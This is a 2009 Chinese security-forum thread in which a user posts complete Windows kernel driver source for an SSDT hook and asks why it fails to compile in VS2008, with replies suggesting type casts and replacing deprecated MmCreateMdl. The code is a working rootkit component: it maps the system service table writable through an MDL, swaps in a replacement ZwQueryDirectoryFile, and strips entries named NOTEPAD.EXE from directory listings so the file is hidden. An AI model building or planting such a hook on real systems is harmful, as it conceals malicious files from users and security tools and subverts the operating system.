首页
社区
课程
招聘
[求助]SSDT HOOK代码在VS2008下编译出错的问题
发表于: 2009-9-22 22:15 8571

[求助]SSDT HOOK代码在VS2008下编译出错的问题

2009-9-22 22:15
8571
#include "ntddk.h"

#define BOOL int

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;

//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

//定义FILE_INFORMATION_CLASS的第3号结构:_FILE_BOTH_DIR_INFORMATION,这个结构是ZwQueryDirectoryFile必须参数。

typedef struct _FILE_BOTH_DIR_INFORMATION {
        ULONG NextEntryOffset;
        ULONG FileIndex;
        LARGE_INTEGER CreationTime;
        LARGE_INTEGER LastAccessTime;
        LARGE_INTEGER LastWriteTime;
        LARGE_INTEGER ChangeTime;
        LARGE_INTEGER EndOfFile;
        LARGE_INTEGER AllocationSize;
        ULONG FileAttributes;
        ULONG FileNameLength;
        ULONG EaSize;
        CCHAR ShortNameLength;
        WCHAR ShortName[12];
        WCHAR FileName[1];
}        FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

//先申明ZwQueryDirectoryFile
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery);

//定义ZwQueryDirectoryFile的原型
typedef NTSTATUS (*REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery);

//定义一个原函数指针
REALZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile;

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
        DbgPrint("ROOTKIT: OnUnload called\n");
        // 卸载hook
        UNHOOK_SYSCALL( ZwQueryDirectoryFile, OldZwQueryDirectoryFile,NewZwQueryDirectoryFile);

        // 解索并释放MDL
        if(g_pmdlSystemCall)
        {
                MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
                IoFreeMdl(g_pmdlSystemCall);
        }
}

//定义替换API函数的原型

NTSTATUS NewZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery)
{
        NTSTATUS status;
        ULONG CR0VALUE;

        ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
        UNICODE_STRING uniFileName;

        //初始化要过虑的文件名
        RtlInitAnsiString(&HideDirFile,"NOTEPAD.EXE");

        // 执行真正的ZwQueryDirectoryFile函数
        status = ((REALZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
        hFile,
        hEvent,
        IoApcRoutine,
        IoApcContext,
        pIoStatusBlock,
        FileInformationBuffer,
        FileInformationBufferLength,
        FileInfoClass,
        bReturnOnlyOneEntry,
        PathMask,
        bRestartQuery);

/*如果执行成功(而且FILE_INFORMATION_CLASS的值为FileBothDirectoryInformation,我们就进行处理,过滤*/
        if(NT_SUCCESS(status)&& (FileInfoClass == FileBothDirectoryInformation))
        {
                PFILE_BOTH_DIR_INFORMATION pFileInfo;
                PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
                BOOL bLastOne;

                //把执行结果赋给pFileInfo
                pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
                pLastFileInfo = NULL;

                //循环检查
        do
        {
                bLastOne = !( pFileInfo->NextEntryOffset );//如果NextEntryOffset为0说明是最后一项 while会根据bLastOne结束循环
                RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
                RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
                RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

                RtlUpperString(&ansiFileName,&ansiDirName);//转成大写

                // 开始进行比较,如果找到了就隐藏这个文件或者目录
                if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
                {

                        DbgPrint("This is HideDirFile!\n");
                        if(bLastOne)//bLastOne非0 说明这条记录是最后的一条记录
                        {
                                if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
                                {
                                        status = 0x80000006;
                                }
                                else
                                {
                                        pLastFileInfo->NextEntryOffset = 0;//如果我们要隐藏最后一个记录就把它的NextEntryOffset改为0,
                                }
                                break;
                        }
                        else //指针往后移动
                        {
                                int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
                                int iLeft = (ULONG)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
                                RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (ULONG)iLeft );
                                continue;
                        }
                }

                pLastFileInfo = pFileInfo;
                pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);

        }while(!bLastOne);
        RtlFreeAnsiString(&ansiDirName);
        RtlFreeAnsiString(&ansiFileName);
        }
        return(status);
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                                         IN PUNICODE_STRING theRegistryPath)
{
        DbgPrint("ROOTKIT: Start\n");
        theDriverObject->DriverUnload = OnUnload;

        OldZwQueryDirectoryFile        =(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));

        g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);        // 储存旧的函数地址

        if(!g_pmdlSystemCall)
        {
                return STATUS_UNSUCCESSFUL;
        }

        MmBuildMdlForNonPagedPool(g_pmdlSystemCall);        // 改变MDL的Flags属性为可写,既然可写当然可读,可执行
        g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
        MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);         // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了

        HOOK_SYSCALL( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile );

        return STATUS_SUCCESS;
}

这句出现错误:HOOK_SYSCALL( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile );

error C2440: '=' : cannot convert from 'PVOID' to 'REALZWQUERYDIRECTORYFILE'

另外'MmCreateMdl' was declared deprecated

另外许多关于HOOK SSDT的源码在VS2008下均无法编译,
甚至出现error C2106: '=' : left operand must be l-value,

但是以上的代码利用DDK build environment编译完全正常,但是在VS2008下不能正常编译,出现一些奇怪现象,希望高手们多讲一下你们用什么编译驱动的

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
现在是不是流行利用驱动代码来学C语言基础啊   

  这些现象一点也不奇怪  有些编译器检查不是很严谨就可以通过
2009-9-22 23:57
0
雪    币: 103
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
晕,你这么讲真是惭愧啊,但是这样不能解决问题,烦请大牛提供解决方法
2009-9-23 14:05
0
雪    币: 20
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
error C2440: '=' : cannot convert from 'PVOID' to 'REALZWQUERYDIRECTORYFILE' 这里应该进行强制转换
'MmCreateMdl' was declared deprecated //这个函数被声明为弃用,

Obsolete. This routine is exported to support existing driver binaries only. Use IoAllocateMdl instead.
2009-9-23 14:24
0
雪    币: 103
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
感谢回答,我想原因应该出在这句:
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

应该改成:
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (REALZWQUERYDIRECTORYFILE) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

想不通的是为什么DDK能正常编译,VS2008就不行
2009-9-23 16:09
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
[QUOTE=shdow浅蓝;690801]感谢回答,我想原因应该出在这句:
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(...[/QUOTE]

VS2008会进行比较严格的类型检查
2009-9-23 16:34
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=shdow浅蓝;690801]感谢回答,我想原因应该出在这句:
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(...[/QUOTE]

这里应该写成PVOID才通用

HOOK_SYSCALL( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile );
这里(PVOID)OldZwQueryDirectoryFile  就可以了
2009-9-23 16:36
0
雪    币: 103
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
感谢回答,但是VS2008依然不能通过,原因是不能在左边进行强制类型转换:left operand must be l-value,

另外,  MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
这里也会出现错误,因为MappedSystemCallTable是PVOID *的,但是MmMapLockedPages的返回类型是PVOID
2009-9-23 22:44
0
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
前面加个*  不就PVOID了么   

指向任意类型的指针。。  
这里并不需要  还是直接把变量声明换掉吧
2009-9-24 00:08
0
游客
登录 | 注册 方可回帖
返回
//